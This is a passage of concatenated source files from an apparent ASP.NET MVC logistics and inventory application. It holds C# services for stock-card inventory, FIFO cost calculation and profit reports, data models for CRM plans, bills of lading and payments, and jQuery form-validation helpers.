Product = product,
Quantity = prodt.Sum(s => s.sl_nhap ?? 0),
QuantityOut = prodt.Sum(s => s.sl_xuat ?? 0),
Amount = prodt.Sum(s => s.TT ?? 0),
Amount0 = prodt.Sum(s => s.tien_xuat ?? 0),
AmountOut = prodt.Sum(s => s.tien2 ?? 0),
AmountInventory = vInventotry,
Supplier = new Supplier(),
Warehouse = new Warehouse(),
VoucherDate = DateTime.MaxValue,
Customer = new Customer(),
};
voucherModels.Add(total);
}
return voucherModels.OrderBy(x => x.Product.Name).ThenByDescending(x => x.VoucherDate).ThenBy(x => x.VoucherNo);
}
public IEnumerable<IssueVoucherModel> GetListInventory(IssueVoucherModel filter, int page, int pageSize, out int totalRow)
{
var query = GetQueryFilter(filter);
var queryIn = query.Where(x => x.nxt.Value == true);
var queryOut = query.Where(x => x.nxt.Value == false);
var skip = (page - 1) * pageSize;
var proQry = queryIn.GroupBy(x => new
{
Product = x.Product,
Warehouse = x.Warehouse,
});
totalRow = proQry.Count();
var stockByProducts = proQry.Skip(skip).Take(pageSize).ToList();
List<IssueVoucherModel> voucherModels = new List<IssueVoucherModel>();
foreach (var stocks in stockByProducts)
{
Product pr = stocks.Key.Product;
Warehouse wh = stocks.Key.Warehouse;
var proQty = 0M;
var proValue = 0M;
var inputs = stocks.Where(x => x.nxt.Value == true && x.ProductID == pr.Id && x.WarehouseID == wh.Id).OrderBy(x => x.VoucherNo).ToList();
var inputQty = (decimal)inputs.Sum(x => x.sl_nhap);
var outs = queryOut.Where(x => x.ProductID == pr.Id && x.WarehouseID == wh.Id);
var pendingout = Context.DT81s.Where(x => x.ProductID.Value == pr.Id && x.WarehouseID== wh.Id && x.MT81.Status == (byte)VoucherStatus.Pending);
var qtyPendingOut = 0M;
if (pendingout.Any())
qtyPendingOut = pendingout.Sum(x => x.Quantity.Value);
decimal outputs = 0M;
if (outs.Any())
outputs = (decimal)outs.Sum(x => x.sl_xuat);
var total = new IssueVoucherModel()
{
Product = pr,
Supplier = new Supplier(),
Warehouse = new Warehouse(),
VoucherDate = DateTime.MaxValue,
Customer = new Customer(),
QuantityPendingOut = qtyPendingOut
};
if (inputQty < outputs)
{
var ip = CopyToModel(inputs.Last());
var qty = inputQty - outputs;
total.Quantity = qty;
ip.Quantity = qty;
ip.Amount = qty * ip.Price;
total.Amount = qty * ip.Price;
voucherModels.Add(ip);
voucherModels.Add(total);
}
else
{
foreach (var input in inputs)
{
var qty = input.sl_nhap ?? 0;
outputs = outputs - qty;
if (outputs < 0)
{
qty = Math.Abs(outputs);
outputs = 0;
}
else if (outputs >= 0)
{
qty = 0;
}
proQty += qty;
proValue += qty * input.PriceReceive ?? 0;
var inputModel = new IssueVoucherModel()
{
VoucherNo = input.VoucherNo,
VoucherDate = input.VoucherDate ?? new DateTime(),
Quantity = qty,
QuantityOut = 0M,
Product = input.Product,
Warehouse = input.Warehouse,
Supplier = input.Supplier,
Customer = input.Customer,
Price = input.PriceReceive ?? 0,
PriceOut = 0,
Amount = qty * input.PriceReceive ?? 0,
Amount0 = 0,
AmountOut = 0,
StockIn = true,
StockOut = false,
};
voucherModels.Add(inputModel);
}
total.Quantity = proQty;
total.Amount = proValue;
voucherModels.Add(total);
}
}
var list = voucherModels.Where(x => x.Quantity != 0);
var newTotal = list.GroupBy(x => x.Product).Count();
if (pageSize > newTotal)
{
totalRow = newTotal;
}
var listSum =
voucherModels.Where(x => string.IsNullOrEmpty(x.VoucherNo))
.GroupBy(x => x.Product)
.Select(x => new IssueVoucherModel()
{
Product = x.Key,
Supplier = new Supplier(),
Warehouse = new Warehouse(),
VoucherDate = DateTime.MaxValue,
Customer = new Customer(),
QuantityPendingOut = (decimal)x.Sum(p => p.QuantityPendingOut),
Quantity = (decimal)x.Sum(p => p.Quantity),
Amount = (decimal)x.Sum(p => p.Amount),
}).ToList();
var listItem = voucherModels.Where(x => !string.IsNullOrEmpty(x.VoucherNo)).ToList();
var viewlist = new List<IssueVoucherModel>();
viewlist.AddRange(listItem);
viewlist.AddRange(listSum);
return viewlist.Where(x => x.Quantity != 0).OrderBy(x => x.Product.Name).ThenByDescending(x => x.VoucherDate).ThenBy(x => x.VoucherNo).ToList();
}
public List<MonthYear> GetReportList(IssueVoucherModel filter)
{
var query = GetQueryFilter(filter);
var queryForMount = query.Where(x => x.VoucherDate.Value.Year == filter.Year)
.GroupBy(x => x.VoucherDate.Value.Month).Select(x => new MonthYear()
{
Month = x.Key,
Qty = x.Sum(s => s.sl_nhap ?? 0),
QtyOut = x.Sum(s => s.sl_xuat ?? 0),
AmmountIn = x.Sum(s => s.TT ?? 0),
AmmountOut = x.Sum(s => s.tien2 ?? 0),
Ammount0 = x.Sum(s => s.tien_xuat ?? 0),
}).OrderBy(x => x.Month);
var preYear = query.Where(x => x.VoucherDate.Value.Year >= (filter.Year - 1) && x.VoucherDate.Value.Year <= filter.Year);
var summaryPreYear = preYear.GroupBy(x => x.VoucherDate.Value.Year).Select(x => new MonthYear()
{
Month = x.Key,
Qty = x.Sum(s => s.sl_nhap ?? 0),
QtyOut = x.Sum(s => s.sl_xuat ?? 0),
AmmountIn = x.Sum(s => s.TT ?? 0),
AmmountOut = x.Sum(s => s.tien2 ?? 0),
Ammount0 = x.Sum(s => s.tien_xuat ?? 0),
});
var result = queryForMount.Union(summaryPreYear).ToList();
return result;
}
public string CaculateCost(CalculateCostViewModel model)
{
try
{
Context.ExecuteCommand(string.Format("exec sp15_CalcFIFOPrice @nMF={0}, @nMT={1}, @nYear={2}", model.FromMonth, model.ToMonth, model.Year));
return string.Format("<span class='successfuly {0}'>Caculate code successfully</span>", 0);
}
catch (Exception ex)
{
Logger.LogError(ex);
return string.Format("<span class='error'> {0}</span>", ex.Message);
}
}
public string CaculateCostToNextYear(int year)
{
try
{
Context.ExecuteCommand(string.Format("exec sp16_ConvertItems2NextYear @nYear={0}", year));
return string.Format("<span class='successfuly {0}'>Caculate cost to year {1} successfully</span>", 0, year + 1);
}
catch (Exception ex)
{
Logger.LogError(ex);
return string.Format("<span class='error'> {0}</span>", ex.Message);
}
}
private IQueryable<StockCard> GetQueryFilter(IssueVoucherModel filter)
{
filter = filter ?? new IssueVoucherModel();
filter.Product = filter.Product ?? new Product();
filter.Supplier = filter.Supplier ?? new Supplier();
filter.Warehouse = filter.Warehouse ?? new Warehouse();
filter.Customer = filter.Customer ?? new Customer();
var query = GetQuery(x =>
x.ProductID.HasValue && x.WarehouseID.HasValue
&& (string.IsNullOrEmpty(filter.Supplier.FullName) || (x.Supplier.FullName != null && x.Supplier.FullName.Contains(filter.Supplier.FullName)))
&& (string.IsNullOrEmpty(filter.Customer.FullName) || (x.Customer.FullName != null && x.Customer.FullName.Contains(filter.Customer.FullName)))
&& (string.IsNullOrEmpty(filter.Product.Name) || x.Product.Name.Contains(filter.Product.Name))
&& (string.IsNullOrEmpty(filter.Product.Code) || x.Product.Code.Contains(filter.Product.Code))
&& (filter.Warehouse.Id == 0 || x.WarehouseID == filter.Warehouse.Id)
);
if (filter.FromDate.HasValue)
{
query = query.Where(x => x.VoucherDate >= filter.FromDate.Value.Date);
}
if (filter.ToDate.HasValue)
{
query = query.Where(x => x.VoucherDate <= filter.ToDate.Value.Date);
}
return query;
}
private IssueVoucherModel CopyToModel(StockCard db)
{
var mode = new IssueVoucherModel()
{
VoucherNo = db.VoucherNo,
VoucherDate = db.VoucherDate ?? new DateTime(),
Quantity = db.sl_nhap ?? 0M,
QuantityOut = db.sl_xuat ?? 0M,
Product = db.Product,
Warehouse = db.Warehouse,
Supplier = db.Supplier,
Customer = db.Customer,
Price = db.PriceReceive ?? 0,
PriceOut = db.gia2 ?? 0,
Amount = db.TT ?? 0,
Amount0 = db.tien_xuat ?? 0,
AmountOut = db.tien2 ?? 0,
StockIn = db.VoucherNo.StartsWith("NK") ? true : false,
StockOut = db.VoucherNo.StartsWith("XK") ? true : false,
};
return mode;
}
}
}<file_sep>using System;
namespace SSM.Models
{
public class FindInvoice
{
public String InvoiceNo { get; set; }
public long ShipmentId { get; set; }
public int ShipmentPriod { get; set; }
public String DateFrom { get; set; }
public String DateTo { get; set; }
public bool UnIssueInvoice { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
namespace SSM.Models.CRM
{
public class CRMPlanMonthModel
{
public long Id { get; set; }
public int PlanValue { get; set; }
public int PlanMonth { get; set; }
public int PlanYear { get; set; }
public long ProgramMonthId { get; set; }
public CRMPlanProgMonthModel PlanProgMonth { get; set; }
}
public class CRMPlanProgMonthModel
{
public long Id { get; set; }
public int PlanYear { get; set; }
public int ProgramId { get; set; }
public long PlanSalesId { get; set; }
public CRMPlanProgramModel CRMPlanProgramModel { get; set; }
public CRMPLanSaleModel CRMPLanSaleModel { get; set; }
public List<CRMPlanMonthModel> CRMPlanMonthModels { get; set; }
public int TotalPlan { get; set; }
}
public class PlanFilter
{
public int Year { get; set; }
public int Month { get; set; }
public long Id { get; set; }
public int NextMonth { get; set; }
public int NextYear { get; set; }
public DateTime FromDate { get; set; }
public DateTime ToDate { get; set; }
public ReportType ReportType { get; set; }
public SummaryByType SummaryByType { get; set; }
}
public class CRMFilterProfit
{
public long UserId { get; set; }
public long DeptId { get; set; }
public long OfficeId { get; set; }
public long CurrentUserId { get; set; }
public DateTime? BeginDate { get; set; }
public DateTime? EndDate { get; set; }
public int Top { get; set; }
}
public class CRMFilterFollowProfit : CRMFilterProfit
{
public long DepartureId { get; set; }
public long DestinationId { get; set; }
public long AgentId { get; set; }
public CRMStatusCode Status { get; set; }
public long proId { get; set; }
public string ProCode { get; set; }
public string ProName { get; set; }
public bool IsProfit { get; set; }
public bool IsLost { get; set; }
public int DaysOfLost { get; set; }
}
public class CRMFilterProfitResult
{
public CRMCustomer Customer { get; set; }
public int TotalShipment { get; set; }
public int TotalShipmentSuccess { get; set; }
public bool AnyShipmentOld { get; set; }
public decimal TotalProfit { get; set; }
public int TotalQuotation { get; set; }
public int TotalVisit { get; set; }
public int TotalEvent { get; set; }
public List<CRMFollowCusUser> CRMFollowCusUsers { get; set; }
public CRMStatus Status { get; set; }
public CRMStatusCode Code { get; set; }
public User CreaterdBy { get; set; }
public string Source { get; set; }
public string SaleType { get; set; }
public string FollowName { get; set; }
public bool IsLost { get; set; }
}
public enum ReportType
{
Dayly,
Monthly,
Year,
}
public enum SummaryByType
{
ByUser,
ByDeparment,
ByOffice
}
public class CRMPlanProgramModel
{
public int Id { get; set; }
public string Name { get; set; }
public string Description { get; set; }
public bool IsSystem { get; set; }
}
public class ReportCustomerViewModel
{
public DateTime DateTime { get; set; }
public string CompanyName { get; set; }
public string ContactName { get; set; }
}
public class CRMPLanSaleModel
{
public long Id { get; set; }
public long SalesId { get; set; }
public User Sales { get; set; }
public int PlanYear { get; set; }
public IList<CRMPlanProgMonthModel> CRMPlanProgMountModels { get; set; }
public bool IsApproval { get; set; }
public bool IsSubmited { get; set; }
public User ApprovalBy { get; set; }
public User SubmitedBy { get; set; }
public DateTime? ApprovedDate { get; set; }
public DateTime? SubmitedDate { get; set; }
}
public class CRMSalesPlanOffice
{
public Department Department { get; set; }
public IEnumerable<CRMPlanProgMonthModel> PlanProgMonths { get; set; }
}
public class CrmFilterTopProfitByStore
{
public long Id { get; set; }
public string CompanyShortName { get; set; }
public string CompanyName { get; set; }
public DateTime CreatedDate { get; set; }
public string FullName { get; set; }
public int CountSendMail { get; set; }
public int Visted { get; set; }
public int TotalShipment { get; set; }
public decimal Profit { get; set; }
public DateTime? LastTripDate { get; set; }
public bool IsLost { get; set; }
public bool IsSuccess { get; set; }
public bool IsClient { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper;
using SSM.Common;
using SSM.Models;
namespace SSM.Services
{
}<file_sep>var $ = jQuery.noConflict();
function addError(item, error) {
var $item = $(item);
$item.parent().append("<span class='errors' style='color:red;'><br/>" + error + "</span>");
}
function CleanErrors(modifyForm) {
var $ModifyForm = modifyForm;
var $errors = $ModifyForm.find('span[class=errors]').remove();
}
var Customer = {
SubmitForm: function () {
var result = true;
var $ModifyForm = jQuery('#ModifyForm');
CleanErrors($ModifyForm);
var $CompanyName = $ModifyForm.find('#CompanyName');
var $FullName = $ModifyForm.find('#FullName');
if (jQuery.trim($CompanyName.val()) == '') {
result = false;
addError($CompanyName, "Please input AbbName");
}
if (jQuery.trim($FullName.val()) == '') {
result = false;
addError($FullName, "Please input Customer Name");
}
return result;
}
};
var Supplier = {
SubmitForm: function () {
var result = true;
var $ModifyForm = jQuery('#ModifyForm');
CleanErrors($ModifyForm);
var $CompanyName = $ModifyForm.find('#CompanyName');
var $FullName = $ModifyForm.find('#FullName');
if (jQuery.trim($CompanyName.val()) == '') {
result = false;
addError($CompanyName, "Please input AbbName");
}
if (jQuery.trim($FullName.val()) == '') {
result = false;
addError($FullName, "Please input FullName");
}
return result;
}
};
var Service = {
SubmitForm: function () {
var result = true;
var $ModifyForm = jQuery('#ModifyForm');
CleanErrors($ModifyForm);
var $CompanyName = $ModifyForm.find('#SerivceName');
var $FullName = $ModifyForm.find('#Name');
if (jQuery.trim($CompanyName.val()) == '') {
result = false;
addError($CompanyName, "Please input Serivce Name");
}
if (jQuery.trim($FullName.val()) == '') {
result = false;
addError($FullName, "Please input Name");
}
return result;
}
};
var Product = {
SubmitForm: function () {
var result = true;
var $ModifyForm = jQuery('#ModifyForm');
CleanErrors($ModifyForm);
var $Code = $ModifyForm.find('#Code');
var $Name = $ModifyForm.find('#Name');
var $NameE = $ModifyForm.find('#Uom');
var $SupplierId = $ModifyForm.find('#SupplierId');
if (jQuery.trim($Code.val()) == '') {
result = false;
addError($Code, "Please input Code");
}
if (jQuery.trim($Name.val()) == '') {
result = false;
addError($Name, "Please input product name");
}
if (jQuery.trim($NameE.val()) == '') {
result = false;
addError($NameE, "Please input product unit");
}
if (jQuery.trim($SupplierId.val()) == '0') {
result = false;
addError($SupplierId, "Supplier not blank or is not valid");
}
$ModifyForm.find('#Code').val($Code.val().trim());
return result;
}
};
var Warehouse = {
SubmitForm: function () {
var result = true;
var $ModifyForm = jQuery('#ModifyForm');
CleanErrors($ModifyForm);
var $CompanyName = $ModifyForm.find('#Code');
var $FullName = $ModifyForm.find('#Name');
if (jQuery.trim($CompanyName.val()) == '') {
result = false;
addError($CompanyName, "Please input Code");
}
if (jQuery.trim($FullName.val()) == '') {
result = false;
addError($FullName, "Please input Name");
}
return result;
}
};
var Carrier = {
gotoItem: function (item) {
var href = window.location.href;
href = href.split('#')[0];
window.location = href + '#' + item;
},
SubmitForm: function () {
var result = true;
var $ModifyForm = $('#ModifyForm');
CleanErrors($ModifyForm);
var $CompanyName = $ModifyForm.find('#AbbName');
var $FullName = $ModifyForm.find('#CarrierAirlineName');
if (jQuery.trim($CompanyName.val()) == '') {
result = false;
addError($CompanyName, "Please input AbbName");
}
if (jQuery.trim($FullName.val()) == '') {
result = false;
addError($FullName, "Please input Name");
}
return result;
},
SubmitAgentForm: function () {
var result = true;
var $ModifyForm = $('#ModifyForm');
CleanErrors($ModifyForm);
var $CompanyName = $ModifyForm.find('#AbbName');
var $FullName = $ModifyForm.find('#AgentName');
if (jQuery.trim($CompanyName.val()) == '') {
result = false;
addError($CompanyName, "Please input AbbName");
}
if (jQuery.trim($FullName.val()) == '') {
result = false;
addError($FullName, "Please input Agent Name");
}
return result;
}
};
var Valid = {
Carrier: function () {
var result = true;
var $ModifyForm = jQuery('#ModifyForm');
CleanErrors($ModifyForm);
var $CompanyName = $ModifyForm.find('#AbbName');
var $FullName = $ModifyForm.find('#CarrierAirLineName');
if (jQuery.trim($CompanyName.val()) == '') {
result = false;
addError($CompanyName, "Please input AbbName");
}
if (jQuery.trim($FullName.val()) == '') {
result = false;
addError($FullName, "Please input Name");
}
return result;
},
Area: function () {
var result = true;
var $ModifyForm = jQuery('#ModifyForm');
CleanErrors($ModifyForm);
var $AreaAddress = $ModifyForm.find('#AreaAddress');
var $CountryId = $ModifyForm.find('#CountryId');
if (jQuery.trim($AreaAddress.val()) == '') {
result = false;
addError($AreaAddress, "Please input Province/City");
}
if (jQuery.trim($CountryId.val()) == '') {
result = false;
addError($CountryId, "Please input Country");
}
return result;
},
Agent: function () {
var result = true;
var $ModifyForm = jQuery('#ModifyForm');
CleanErrors($ModifyForm);
var $CompanyName = $ModifyForm.find('#AbbName');
var $FullName = $ModifyForm.find('#FullName');
if (jQuery.trim($CompanyName.val()) == '') {
result = false;
addError($CompanyName, "Please input AbbName");
}
if (jQuery.trim($FullName.val()) == '') {
result = false;
addError($FullName, "Please input Agent Name");
}
return result;
},
Country: function () {
var result = true;
var $ModifyForm = jQuery('#ModifyForm');
CleanErrors($ModifyForm);
var $CompanyName = $ModifyForm.find('#CompanyName');
if (jQuery.trim($CompanyName.val()) == '') {
result = false;
addError($CompanyName, "Please input Company Name");
}
return result;
},
Unit: function () {
var result = true;
var $ModifyForm = jQuery('#ModifyForm');
CleanErrors($ModifyForm);
var $CompanyName = $ModifyForm.find('#Unit1');
if (jQuery.trim($CompanyName.val()) == '') {
result = false;
addError($CompanyName, "Please input Unit");
}
return result;
},
Group: function () {
var result = true;
var $ModifyForm = jQuery('#ModifyForm');
CleanErrors($ModifyForm);
var $CompanyName = $ModifyForm.find('#Name');
if (jQuery.trim($CompanyName.val()) == '') {
result = false;
addError($CompanyName, "Please input group Name");
}
return result;
},
}<file_sep>namespace SSM.Models
{
public class BillLandingModel
{
public long Id { get; set; }
public long ShipmentId { get; set; }
public string PhipperName { get; set; }
public string ConsignedOrder { get; set; }
public string NotifyAddress { get; set; }
public string PlaceOfReceipt { get; set; }
public string OceanVessel { get; set; }
public string VoyNo { get; set; }
public string BillLandingNo { get; set; }
public string ForRelease { get; set; }
public string PortLoading { get; set; }
public string PortDischarge { get; set; }
public string PlaceDelivery { get; set; }
public string MarksNos { get; set; }
public string QuanlityDescription { get; set; }
public string GrossWeight { get; set; }
public string Measurement { get; set; }
public string FreightCharge { get; set; }
public string PlaceDateIssue { get; set; }
public string FreightPayable { get; set; }
public string NumberOriginal { get; set; }
public string BillTo { get; set; }
public string FinalDestination { get; set; }
public string StampAuthorized { get; set; }
public string Original { get; set; }
public string BKG { get; set; }
public bool Logo { get; set; }
public bool Header { get; set; }
public bool Footer { get; set; }
public string BillFrom { get; set; }
public string BLComAddress { get; set; }
public static void ConvertBillLanding(BillLandingModel Model, BillLanding Bill)
{
if (Bill == null) { Bill = new BillLanding(); }
if (Model.Id > 0) { Bill.Id = Model.Id; }
Bill.BillLandingNo = Model.BillLandingNo;
Bill.BillTo = Model.BillTo;
Bill.BKG = Model.BKG;
Bill.ConsignedOrder = Model.ConsignedOrder;
Bill.ForRelease = Model.ForRelease;
Bill.FreightCharge = Model.FreightCharge;
Bill.FreightPayable = Model.FreightPayable;
Bill.GrossWeight = Model.GrossWeight;
Bill.MarksNos = Model.MarksNos;
Bill.Measurement = Model.Measurement;
Bill.NotifyAddress = Model.NotifyAddress;
Bill.NumberOriginal = Model.NumberOriginal;
Bill.OceanVessel = Model.OceanVessel;
Bill.PhipperName = Model.PhipperName;
Bill.PlaceDateIssue = Model.PlaceDateIssue;
Bill.PlaceDelivery = Model.PlaceDelivery;
Bill.PlaceOfReceipt = Model.PlaceOfReceipt;
Bill.PortDischarge = Model.PortDischarge;
Bill.PortLoading = Model.PortLoading;
Bill.QuanlityDescription = Model.QuanlityDescription;
Bill.ShipmentId = Model.ShipmentId;
Bill.VoyNo = Model.VoyNo;
Bill.FinalDestination = Model.FinalDestination;
Bill.StampAuthorized = Model.StampAuthorized;
Bill.Original = Model.Original;
Bill.Logo = Model.Logo;
Bill.Header = Model.Header;
Bill.Footer = Model.Footer;
}
public static void ConvertBillLanding(BillLanding Bill, BillLandingModel Model)
{
if (Model == null) { Model = new BillLandingModel(); }
if (Bill.Id > 0) { Model.Id = Bill.Id; }
Model.BillLandingNo = Bill.BillLandingNo;
Model.BillTo = Bill.BillTo;
Model.BKG = Bill.BKG;
Model.ConsignedOrder = Bill.ConsignedOrder;
Model.ForRelease = Bill.ForRelease;
Model.FreightCharge = Bill.FreightCharge;
Model.FreightPayable = Bill.FreightPayable;
Model.GrossWeight = Bill.GrossWeight;
Model.MarksNos = Bill.MarksNos;
Model.Measurement = Bill.Measurement;
Model.NotifyAddress = Bill.NotifyAddress;
Model.NumberOriginal = Bill.NumberOriginal;
Model.OceanVessel = Bill.OceanVessel;
Model.PhipperName = Bill.PhipperName;
Model.PlaceDateIssue = Bill.PlaceDateIssue;
Model.PlaceDelivery = Bill.PlaceDelivery;
Model.PlaceOfReceipt = Bill.PlaceOfReceipt;
Model.PortDischarge = Bill.PortDischarge;
Model.PortLoading = Bill.PortLoading;
Model.QuanlityDescription = Bill.QuanlityDescription;
Model.ShipmentId = Bill.ShipmentId;
Model.VoyNo = Bill.VoyNo;
Model.FinalDestination = Bill.FinalDestination;
Model.StampAuthorized = Bill.StampAuthorized;
Model.Original = Bill.Original;
Model.Logo = Bill.Logo;
Model.Header = Bill.Header;
Model.Footer = Bill.Footer;
Model.BillFrom = Bill.BillFrom;
Model.BLComAddress = Bill.BLComAddress;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using SSM.Common;
using SSM.Models;
using SSM.ViewModels.Reports;
namespace SSM.Services
{
public interface IRevenueServices : IServices<Revenue>
{
List<ProfitReportModel> ProfitReportModels(FilterProfit filter);
List<Shipment> GetAllShipments(string id, FilterProfit filter);
}
public class RevenueServices : Services<Revenue>, IRevenueServices
{
public List<ProfitReportModel> ProfitReportModels(FilterProfit filter)
{
IQueryable<ProfitReportModel> list;
var qr =
GetQuery(
x => x.Shipment.DateShp.Value >= filter.BeginDate &&
x.Shipment.DateShp.Value <= filter.EndDate &&
x.IsControl == false &&
x.Earning.Value > 0);
switch (filter.TypeFilterProfit)
{
case TypeFilterProfit.Agent:
list =
qr.GroupBy(x => new { Id = x.Shipment.Agent.Id, Name = x.Shipment.Agent.AbbName })
.Select(x => new ProfitReportModel
{
Id = x.Key.Id,
Name = x.Key.Name,
TotalShipment = x.Count(),
Profit = x.Sum(g => g.Earning.Value)
});
break;
case TypeFilterProfit.Cnee:
list =
qr.GroupBy(x => new { Id = x.Shipment.Customer.Id, Name = x.Shipment.Customer.CompanyName })
.Select(x => new ProfitReportModel
{
Id = x.Key.Id,
Name = x.Key.Name,
TotalShipment = x.Count(),
Profit = x.Sum(g => g.Earning.Value)
});
break;
case TypeFilterProfit.Shipper:
list = qr.GroupBy(x => new {Id = x.Shipment.Customer1.Id, Name = x.Shipment.Customer1.CompanyName})
.Select(x => new ProfitReportModel
{
Id = x.Key.Id,
Name = x.Key.Name,
TotalShipment = x.Count(),
Profit = x.Sum(g => g.Earning.Value)
});
break;
case TypeFilterProfit.Department:
list =
qr.GroupBy(x => new { Id = x.Shipment.User.Department.Id, Name = x.Shipment.User.Department.DeptName })
.Select(x => new ProfitReportModel
{
Id = x.Key.Id,
Name = x.Key.Name,
TotalShipment = x.Count(),
Profit = x.Sum(g => g.Earning.Value)
});
break;
case TypeFilterProfit.Servics:
list =
qr.GroupBy(x => new { Id = x.Shipment.ServicesType.Id, Name = x.Shipment.ServicesType.Name })
.Select(x => new ProfitReportModel
{
Id = x.Key.Id,
Name = x.Key.Name,
TotalShipment = x.Count(),
Profit = x.Sum(g => g.Earning.Value)
});
break;
case TypeFilterProfit.SalesType:
list =
qr.GroupBy(x => x.SaleType)
.Select(x => new ProfitReportModel
{
Id = x.Key,
Name = x.Key,
TotalShipment = x.Count(),
Profit = x.Sum(g => g.Earning.Value)
});
break;
case TypeFilterProfit.Sales:
default:
list = qr.GroupBy(x => new { Id = x.Shipment.User.Id, Name = x.Shipment.User.FullName })
.Select(x => new ProfitReportModel
{
Id = x.Key.Id,
Name = x.Key.Name,
TotalShipment = x.Count(),
Profit = x.Sum(g => g.Earning.Value)
});
break;
}
list = list.OrderByDescending(x => x.Profit);
if (filter.Top > 0)
{
list = list.Take(filter.Top);
}
return list.ToList();
}
public List<Shipment> GetAllShipments(string id, FilterProfit filter)
{
var qr = Context.Shipments.Where(
x => x.DateShp.Value >= filter.BeginDate &&
x.DateShp.Value <= filter.EndDate &&
x.IsMainShipment == false &&
x.Revenue.Earning.Value > 0);
long refId = 0;
long idRef = 0;
if (long.TryParse(id, out idRef))
{
refId = idRef;
}
switch (filter.TypeFilterProfit)
{
case TypeFilterProfit.Agent:
qr = qr.Where(x => x.AgentId.Value == refId);
break;
case TypeFilterProfit.Cnee:
qr = qr.Where(x => x.CneeId.Value == refId);
break;
case TypeFilterProfit.Shipper:
qr = qr.Where(x => x.ShipperId == refId);
break;
case TypeFilterProfit.Department:
qr = qr.Where(x => x.User.DeptId == refId);
break;
case TypeFilterProfit.Servics:
qr = qr.Where(x => x.ServiceId == refId);
break;
case TypeFilterProfit.SalesType:
qr = qr.Where(x => x.SaleType == (string)id);
break;
case TypeFilterProfit.Sales:
default:
qr = qr.Where(x => x.SaleId == refId);
break;
}
var list = qr.ToList();
return list;
}
}
}<file_sep>jQuery.noConflict();
jQuery(function(){
jQuery('body').css('visibility','visible');
jQuery('div.PageButton').setWidth();
});
(function($) {
$.fn.setWidth = function() {
return this.each(function() {
var myWidth = 0;
$(this).children().each(function(){
myWidth += $(this).outerWidth(true);
});
$(this).width(myWidth);
});
};
})(jQuery);
function includeHtml(target, url, order, callback) {
var html;
html = jQuery.ajax({url: url, async: false}).responseText;
if(order==null)
jQuery(target).append(html);
else
jQuery(target).prepend(html);
if ((callback != null) && (typeof(callback) == "function")) {
callback();
}
}
function setButtonDefault() {
jQuery('input[type="button"],input[type="submit"], button').each(function () {
var $bt = jQuery(this);
if ($bt.hasClass("btn") === false) {
$bt.addClass("btn").addClass("btn-default");
}
});
}
/*Misc function for Table: ajust tbody height due to Max Height for FireFox*/
function ajustTBodyHeight () {
try {
var tbody = document.getElementsByTagName("tbody");
for ( var i = 0 ; i < tbody.length ; i ++ ) {
var tbodyHeight = tbody[i].clientHeight;
var maxHeight = parseInt( document.defaultView.getComputedStyle(tbody[i], null).getPropertyValue("max-height") );
if ( tbodyHeight > maxHeight ) {
tbody[i].style.height = maxHeight + "px";
}
}
}
catch ( err ) {
//handle error
}
}
function formatMoneyNumber(_this) {
var number = jQuery(_this).val().replace(/\,/g, '');
if (jQuery.trim(number) != "" && !isNaN(number)) {
jQuery(_this).val(parseFloat(number).toLocaleString());
}
else {
jQuery(_this).val("0.00");
}
}
function validatePhoneNumber(number) {
var pattern = /^[0-9 -]{0,50}$/;
return pattern.test(number);
}
function validateNumber(number) {
var pattern = /^[0-9]{0,50}$/;
return pattern.test(number);
}
/*function advantageSearch() {
jQuery('a.SectionMode').each(function (i) {
jQuery(this).click(function () {
var $this = jQuery(this);
if ($this.hasClass('Expand')) {
$this.removeClass('Expand');
} else {
$this.addClass('Expand');
}
$this.parent().next().toggle("slow");
});
});
}*/
function imposeMaxLength(Object, MaxLen) {
if (Object.getAttribute && Object.value.length > MaxLen)
Object.value = Object.value.substring(0, MaxLen);
}
function getHost() {
var url = window.location.href;
var host = window.location.origin;
return url.replace(host, "");
}
jQuery(document).ready(function() {
var host = getHost();
setButtonDefault();
jQuery(".MainNavLink").each(function() {
var link = jQuery(this).find("a").attr("href");
if (link == host) {
jQuery(this).find("a").parent('li').addClass("subActive");
}
});
jQuery('.datepicker').each(function () {
jQuery(this).datepicker({
autoclose: true,
onClose: function () {
$(this).datepicker('remove');
}
});
});
});<file_sep>using System;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models
{
public class AreaModel
{
public long Id { get; set; }
[Required]
[DisplayName("Province/City")]
public String AreaAddress { get; set; }
[DisplayName("Country")]
public long CountryId { get; set; }
[DisplayName("Description")]
public String Description { get; set; }
public bool IsTrading { get; set; }
public bool IsSee { get; set; }
public bool IsHideUser { get; set; }
public Country Country { get; set; }
}
}<file_sep>using System;
using System.ComponentModel.DataAnnotations;
namespace SSM.ViewModels
{
public class ServicesViewModel
{
public int Id { get; set; }
[Required]
public string SerivceName { get; set; }
public string Name { get; set; }
public string Description { get; set; }
public long? CreatedBy { get; set; }
public long? ModifiedBy { get; set; }
public long? CountryId { get; set; }
public DateTime? DateCreate { get; set; }
public DateTime? DateModify { get; set; }
public bool IsActive { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
namespace SSM.Models
{
public class RequestPaymentModel
{
public string DepartmentName { get; set; }
public string ShipmentCode { get; set; }
public long Id { get; set; }
public long ShipmentId { get; set; }
public string BillNumber { get; set; }
public string CustomerName { get; set; }
public string CarrierName { get; set; }
public string Fee { get; set; }
public string DocFee { get; set; }
public string Total1 { get; set; }
public string Total2 { get; set; }
public string FeeCurrency { get; set; }
public string DocFeeCurrency { get; set; }
public string Total1Currency { get; set; }
public string Total2Currency { get; set; }
public string PaidDate { get; set; }
public string PaidType { get; set; }
public string PaidPerson { get; set; }
public static void ConvertRequestPayment(RequestPaymentModel Model1, RequestPayment Payment)
{
Payment.ShipmentId = Model1.ShipmentId;
Payment.ShipmentCode = Model1.ShipmentCode;
Payment.DepartmentName = Model1.DepartmentName;
Payment.PaidPerson = Model1.PaidPerson;
Payment.PaidType = Model1.PaidType;
Payment.PaidDate = Model1.PaidDate;
Payment.Total2Currency = Model1.Total2Currency;
Payment.Total1Currency = Model1.Total1Currency;
Payment.DocFeeCurrency = Model1.DocFeeCurrency;
Payment.FeeCurrency = Model1.FeeCurrency;
Payment.Total2 = Model1.Total2;
Payment.Total1 = Model1.Total1;
Payment.DocFee = Model1.DocFee;
Payment.Fee = Model1.Fee;
Payment.CarrierName = Model1.CarrierName;
Payment.CustomerName = Model1.CustomerName;
